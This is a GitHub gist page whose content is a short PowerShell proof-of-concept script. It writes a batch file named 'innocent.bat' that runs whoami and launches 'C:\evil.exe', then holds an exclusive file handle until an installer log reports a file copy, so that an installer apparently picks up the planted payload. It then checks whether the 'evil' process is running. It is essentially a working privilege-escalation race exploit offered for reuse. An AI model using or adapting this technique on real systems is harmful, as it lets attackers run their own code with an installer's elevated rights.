Skip to content

Instantly share code, notes, and snippets.

@p0shkatz
Created April 26, 2019 15:26
Show Gist options
  • Save p0shkatz/706f28783bd0358386f1770aa9e445e9 to your computer and use it in GitHub Desktop.
Save p0shkatz/706f28783bd0358386f1770aa9e445e9 to your computer and use it in GitHub Desktop.
PowerShell script to get exclusive lock on file and release at the right time (adjust as needed)
$code = @'
whoami > C:\innocent.log
C:\evil.exe
'@
$binary = "C:\innocent.bat"
[System.IO.File]::WriteAllText($binary, $code)
[System.IO.File]::ReadAllText($binary)
$handle = [System.IO.File]::Open($binary, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Read)
if($handle.handle)
{
Write-Host "Acquired write handle on $binary
while($handle.handle)
{
$line = Get-Content C:\installer.log -Tail 10
if($line -match "File copy")
{
$handle.Close()
$handle.Dispose()
}
}
Start-Sleep -Seconds 5
[System.IO.File]::ReadAllText("C:\innocent.log")
Get-Process evil
}
else
{
Write-Host "Failed to acquire handle on $binary"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment